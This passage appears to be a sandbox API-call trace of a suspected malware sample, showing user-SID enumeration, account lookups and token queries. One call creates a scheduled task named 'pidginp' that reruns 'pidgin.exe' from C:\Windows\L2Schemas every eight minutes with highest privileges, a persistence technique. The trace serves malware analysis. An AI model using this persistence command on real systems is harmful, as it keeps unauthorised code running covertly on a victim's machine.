(_Block=0x196ef0d1b00) [0112.386] GetSidSubAuthority (pSid=0x196ef0d14e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d14f8 [0112.386] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0112.386] malloc (_Size=0x18) returned 0x196ef0d1f60 [0112.386] malloc (_Size=0x18) returned 0x196ef0d1d40 [0112.386] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0112.386] SysStringLen (param_1="-") returned 0x1 [0112.386] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x54 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0112.386] memcpy (in: _Dst=0x196ee7b9c4a, _Src=0x196ee7aaa78, _Size=0x4 | out: _Dst=0x196ee7b9c4a) returned 0x196ee7b9c4a [0112.386] free (_Block=0x196ef0d1b40) [0112.386] free (_Block=0x196ef0d1f60) [0112.386] malloc (_Size=0x18) returned 0x196ef0d1a20 [0112.386] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0112.386] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0112.386] SysStringLen (param_1="1000") returned 0x4 [0112.386] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x56 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0112.386] memcpy (in: _Dst=0x196ee7aae3c, _Src=0x196ee7aaa78, _Size=0xa | out: _Dst=0x196ee7aae3c) returned 0x196ee7aae3c [0112.386] free (_Block=0x196ef0d1d40) [0112.386] free (_Block=0x196ef0d1a20) [0112.387] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0112.387] malloc (_Size=0x5e) returned 0x196ef0d0530 [0112.387] free (_Block=0x196ef0d1ba0) [0112.387] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0112.387] free (_Block=0x196ef0d0530) [0112.428] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d14e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0112.429] GetLastError () returned 0x7a [0112.429] malloc (_Size=0x1a) returned 0x196ef0fa150 [0112.429] malloc (_Size=0xe) returned 0x196ef0d1e60 [0112.429] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d14e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0fa150, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1e60, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0112.430] malloc (_Size=0x18) returned 0x196ef0d20e0 [0112.431] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0112.431] free (_Block=0x196ef0fa150) [0112.431] free (_Block=0x196ef0d1e60) [0112.431] free (_Block=0x196ef0f9d00) [0112.431] free (_Block=0x196ef0d1aa0) [0112.431] free (_Block=0x196ef0d20e0) [0112.431] free (_Block=0x196ef0d1ba0) [0112.431] free (_Block=0x196ef0d14d0) [0112.432] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0112.432] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0112.432] GetLastError () returned 0x7a [0112.432] malloc (_Size=0x2c) returned 0x196ef0d1210 [0112.432] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d1210, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d1210, ReturnLength=0x67117c740) returned 1 [0112.432] IsValidSid (pSid=0x196ef0d1220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0112.432] GetLengthSid (pSid=0x196ef0d1220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0112.432] malloc (_Size=0x1c) returned 0x196ef0f9c70 [0112.432] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9c70, pSourceSid=0x196ef0d1220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9c70*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0112.432] GetSidIdentifierAuthority (pSid=0x196ef0d1220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1222 [0112.432] malloc (_Size=0x18) returned 0x196ef0d1f40 [0112.432] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0112.432] malloc (_Size=0x18) returned 0x196ef0d1d40 [0112.432] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0112.432] SysStringLen (param_1="S-1-") returned 0x4 [0112.432] SysStringLen (param_1="5") returned 0x1 [0112.432] memcpy (in: _Dst=0x196ee7aaa18, _Src=0x196ee7aaa78, _Size=0xa | out: _Dst=0x196ee7aaa18) returned 0x196ee7aaa18 [0112.432] memcpy (in: _Dst=0x196ee7aaa20, _Src=0x196ee7aa958, _Size=0x4 | out: _Dst=0x196ee7aaa20) returned 0x196ee7aaa20 [0112.432] free (_Block=0x196ef0d1f40) [0112.433] free (_Block=0x196ef0d1d40) [0112.433] GetSidSubAuthorityCount (pSid=0x196ef0d1220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1221 [0112.433] GetSidSubAuthority (pSid=0x196ef0d1220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d1228 [0112.433] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0112.433] malloc (_Size=0x18) returned 0x196ef0d1a80 [0112.433] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0112.433] SysStringLen (param_1="S-1-5") returned 0x5 [0112.433] SysStringLen (param_1="-") returned 0x1 [0112.433] memcpy (in: _Dst=0x196ee7aa958, _Src=0x196ee7aaa18, _Size=0xc | out: _Dst=0x196ee7aa958) returned 0x196ee7aa958 [0112.433] memcpy (in: _Dst=0x196ee7aa962, _Src=0x196ee7aaa78, _Size=0x4 | out: _Dst=0x196ee7aa962) returned 0x196ee7aa962 [0112.433] free (_Block=0x196ef0d1ac0) [0112.433] free (_Block=0x196ef0d1a80) [0112.433] malloc (_Size=0x18) returned 0x196ef0d1c40 [0112.433] malloc (_Size=0x18) returned 0x196ef0d1b40 [0112.433] SysStringLen (param_1="S-1-5-") returned 0x6 [0112.433] SysStringLen (param_1="21") returned 0x2 [0112.433] memcpy (in: _Dst=0x196ee7aaa78, _Src=0x196ee7aa958, _Size=0xe | out: _Dst=0x196ee7aaa78) returned 0x196ee7aaa78 [0112.433] memcpy (in: _Dst=0x196ee7aaa84, _Src=0x196ee7aaa18, _Size=0x6 | out: _Dst=0x196ee7aaa84) returned 0x196ee7aaa84 [0112.433] free (_Block=0x196ef0d1ae0) [0112.433] free (_Block=0x196ef0d1c40) [0112.433] GetSidSubAuthority (pSid=0x196ef0d1220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d122c [0112.433] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0112.434] malloc (_Size=0x18) returned 0x196ef0d19c0 [0112.434] malloc (_Size=0x18) returned 0x196ef0d1b00 [0112.434] SysStringLen (param_1="S-1-5-21") returned 0x8 [0112.434] SysStringLen (param_1="-") returned 0x1 [0112.434] memcpy (in: _Dst=0x196ee7aaa18, _Src=0x196ee7aaa78, _Size=0x12 | out: _Dst=0x196ee7aaa18) returned 0x196ee7aaa18 [0112.434] memcpy (in: _Dst=0x196ee7aaa28, _Src=0x196ee7aa958, _Size=0x4 | out: _Dst=0x196ee7aaa28) returned 0x196ee7aaa28 [0112.434] free (_Block=0x196ef0d1b40) [0112.450] free (_Block=0x196ef0d19c0) [0112.450] malloc (_Size=0x18) returned 0x196ef0d19a0 [0112.450] malloc (_Size=0x18) returned 0x196ef0d19c0 [0112.450] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0112.450] SysStringLen (param_1="1560258661") returned 0xa [0112.450] memcpy (in: _Dst=0x196ee777f28, _Src=0x196ee7aaa18, _Size=0x14 | out: _Dst=0x196ee777f28) returned 0x196ee777f28 [0112.450] memcpy (in: _Dst=0x196ee777f3a, _Src=0x196ee7aaa78, _Size=0x16 | out: _Dst=0x196ee777f3a) returned 0x196ee777f3a [0112.450] free (_Block=0x196ef0d1b00) [0112.450] free (_Block=0x196ef0d19a0) [0112.450] GetSidSubAuthority (pSid=0x196ef0d1220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d1230 [0112.450] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0112.450] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0112.450] malloc (_Size=0x18) returned 0x196ef0d1e60 [0112.450] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0112.450] SysStringLen (param_1="-") returned 0x1 [0112.450] memcpy (in: _Dst=0x196ee777d98, _Src=0x196ee777f28, _Size=0x28 | out: _Dst=0x196ee777d98) returned 0x196ee777d98 [0112.450] memcpy (in: _Dst=0x196ee777dbe, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee777dbe) returned 0x196ee777dbe [0112.451] free (_Block=0x196ef0d19c0) [0112.451] free (_Block=0x196ef0d1ba0) [0112.451] malloc (_Size=0x18) returned 0x196ef0d1e20 [0112.451] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0112.451] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0112.451] SysStringLen (param_1="3990802383") returned 0xa [0112.451] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee777d98, _Size=0x2a | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0112.451] memcpy (in: _Dst=0x196ee7b9c20, _Src=0x196ee7aaa18, _Size=0x16 | out: _Dst=0x196ee7b9c20) returned 0x196ee7b9c20 [0112.451] free (_Block=0x196ef0d1e60) [0112.451] free (_Block=0x196ef0d1e20) [0112.451] GetSidSubAuthority (pSid=0x196ef0d1220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d1234 [0112.451] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0112.451] malloc (_Size=0x18) returned 0x196ef0d1e60 [0112.451] malloc (_Size=0x18) returned 0x196ef0d19a0 [0112.451] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0112.451] SysStringLen (param_1="-") returned 0x1 [0112.451] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x3e | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0112.451] memcpy (in: _Dst=0x196ee7aae24, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee7aae24) returned 0x196ee7aae24 [0112.451] free (_Block=0x196ef0d1cc0) [0112.451] free (_Block=0x196ef0d1e60) [0112.451] malloc (_Size=0x18) returned 0x196ef0d1a60 [0112.452] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0112.452] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0112.452] SysStringLen (param_1="1811730007") returned 0xa [0112.452] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x40 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0112.452] memcpy (in: _Dst=0x196ee7b9c36, _Src=0x196ee7aaa18, _Size=0x16 | out: _Dst=0x196ee7b9c36) returned 0x196ee7b9c36 [0112.452] free (_Block=0x196ef0d19a0) [0112.452] free (_Block=0x196ef0d1a60) [0112.452] GetSidSubAuthority (pSid=0x196ef0d1220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d1238 [0112.452] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0112.452] malloc (_Size=0x18) returned 0x196ef0d1d00 [0112.452] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0112.452] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0112.452] SysStringLen (param_1="-") returned 0x1 [0112.452] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x54 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0112.452] memcpy (in: _Dst=0x196ee7aae3a, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee7aae3a) returned 0x196ee7aae3a [0112.452] free (_Block=0x196ef0d1bc0) [0112.452] free (_Block=0x196ef0d1d00) [0112.452] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0112.452] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0112.452] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0112.452] SysStringLen (param_1="1000") returned 0x4 [0112.453] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x56 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0112.453] memcpy (in: _Dst=0x196ee7b9c4c, _Src=0x196ee7aaa18, _Size=0xa | out: _Dst=0x196ee7b9c4c) returned 0x196ee7b9c4c [0112.453] free (_Block=0x196ef0d1ee0) [0112.453] free (_Block=0x196ef0d1ba0) [0112.453] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0112.453] malloc (_Size=0x5e) returned 0x196ef0d0610 [0112.453] free (_Block=0x196ef0d1ac0) [0112.453] malloc (_Size=0x18) returned 0x196ef0d1d80 [0112.453] free (_Block=0x196ef0d0610) [0112.453] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0112.456] GetLastError () returned 0x7a [0112.456] malloc (_Size=0x1a) returned 0x196ef0fa030 [0112.456] malloc (_Size=0xe) returned 0x196ef0d1d20 [0112.456] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0fa030, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1d20, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0112.457] malloc (_Size=0x18) returned 0x196ef0d1e20 [0112.457] malloc (_Size=0x18) returned 0x196ef0d1fe0 [0112.457] free (_Block=0x196ef0fa030) [0112.457] free (_Block=0x196ef0d1d20) [0112.457] free (_Block=0x196ef0f9c70) [0112.457] free (_Block=0x196ef0d1fe0) [0112.457] free (_Block=0x196ef0d1e20) [0112.457] free (_Block=0x196ef0d1d80) [0112.458] free (_Block=0x196ef0d1210) [0112.458] SetEvent (hEvent=0x248) returned 1 [0112.459] free (_Block=0x196ef0d5690) [0112.459] CreateEnvironmentBlock () returned 0x1 [0112.464] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0112.464] CreateProcessAsUserW (in: hToken=0x270, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"pidginp\" /sc MINUTE /mo 8 /tr \"'C:\\Windows\\L2Schemas\\pidgin.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"pidginp\" /sc MINUTE /mo 8 /tr \"'C:\\Windows\\L2Schemas\\pidgin.exe'\" /rl HIGHEST /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x85c, dwThreadId=0x300)) returned 1 [0112.476] CloseHandle (hObject=0x260) returned 1 [0112.476] CloseHandle (hObject=0x264) returned 1 [0112.477] free (_Block=0x196ef0d1fa0) [0112.477] DestroyEnvironmentBlock () returned 0x1 [0112.477] malloc (_Size=0x48) returned 0x196ef0d5500 [0112.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x23e4b8b8, dwHighDateTime=0x1d9eb0c)) [0112.477] SetEvent (hEvent=0x248) returned 1 [0112.478] CloseHandle (hObject=0x26c) returned 1 [0112.478] CloseHandle (hObject=0x270) returned 1 [0112.537] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788350 [0112.537] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788350, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0112.537] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0112.537] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0113.893] RtlRestoreLastWin32Error () returned 0x670dbf000 [0113.894] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0113.894] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0113.894] RtlRestoreLastWin32Error () returned 0x670dbf000 [0113.894] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10) returned 1 [0113.894] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788350 [0113.894] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0113.894] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7880 [0113.894] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7880, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0113.894] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7880) returned 1 [0113.896] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0113.897] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0113.897] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0113.897] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0113.898] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0113.900] GetCurrentThread () returned 0xfffffffffffffffe [0113.900] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x270) returned 1 [0113.900] DuplicateTokenEx (in: hExistingToken=0x270, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x26c) returned 1 [0113.900] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0113.900] GetLastError () returned 0x7a [0113.900] malloc (_Size=0x2c) returned 0x196ef0d0f10 [0113.900] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d0f10, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0f10, ReturnLength=0x67117c740) returned 1 [0113.900] IsValidSid (pSid=0x196ef0d0f20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0113.901] GetLengthSid (pSid=0x196ef0d0f20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0113.901] malloc (_Size=0x1c) returned 0x196ef0f9ac0 [0113.901] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9ac0, pSourceSid=0x196ef0d0f20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9ac0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0113.901] GetSidIdentifierAuthority (pSid=0x196ef0d0f20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0f22 [0113.901] malloc (_Size=0x18) returned 0x196ef0d1d00 [0113.901] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0113.901] malloc (_Size=0x18) returned 0x196ef0d1a40 [0113.901] malloc (_Size=0x18) returned 0x196ef0d1e80 [0113.901] SysStringLen (param_1="S-1-") returned 0x4 [0113.901] SysStringLen (param_1="5") returned 0x1 [0113.901] memcpy (in: _Dst=0x196ee7aa838, _Src=0x196ee7c75b8, _Size=0xa | out: _Dst=0x196ee7aa838) returned 0x196ee7aa838 [0113.901] memcpy (in: _Dst=0x196ee7aa840, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7aa840) returned 0x196ee7aa840 [0113.901] free (_Block=0x196ef0d1d00) [0113.901] free (_Block=0x196ef0d1a40) [0113.901] GetSidSubAuthorityCount (pSid=0x196ef0d0f20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0f21 [0113.901] GetSidSubAuthority (pSid=0x196ef0d0f20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0f28 [0113.901] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0113.901] malloc (_Size=0x18) returned 0x196ef0d19c0 [0113.901] malloc (_Size=0x18) returned 0x196ef0d1e60 [0113.901] SysStringLen (param_1="S-1-5") returned 0x5 [0113.901] SysStringLen (param_1="-") returned 0x1 [0113.902] memcpy (in: _Dst=0x196ee7aaa48, _Src=0x196ee7aa838, _Size=0xc | out: _Dst=0x196ee7aaa48) returned 0x196ee7aaa48 [0113.902] memcpy (in: _Dst=0x196ee7aaa52, _Src=0x196ee7c75b8, _Size=0x4 | out: _Dst=0x196ee7aaa52) returned 0x196ee7aaa52 [0113.902] free (_Block=0x196ef0d1e80) [0113.902] free (_Block=0x196ef0d19c0) [0113.902] malloc (_Size=0x18) returned 0x196ef0d1b40 [0113.902] malloc (_Size=0x18) returned 0x196ef0d1d60 [0113.902] SysStringLen (param_1="S-1-5-") returned 0x6 [0113.902] SysStringLen (param_1="21") returned 0x2 [0113.902] memcpy (in: _Dst=0x196ee7c75b8, _Src=0x196ee7aaa48, _Size=0xe | out: _Dst=0x196ee7c75b8) returned 0x196ee7c75b8 [0113.902] memcpy (in: _Dst=0x196ee7c75c4, _Src=0x196ee7aa838, _Size=0x6 | out: _Dst=0x196ee7c75c4) returned 0x196ee7c75c4 [0113.902] free 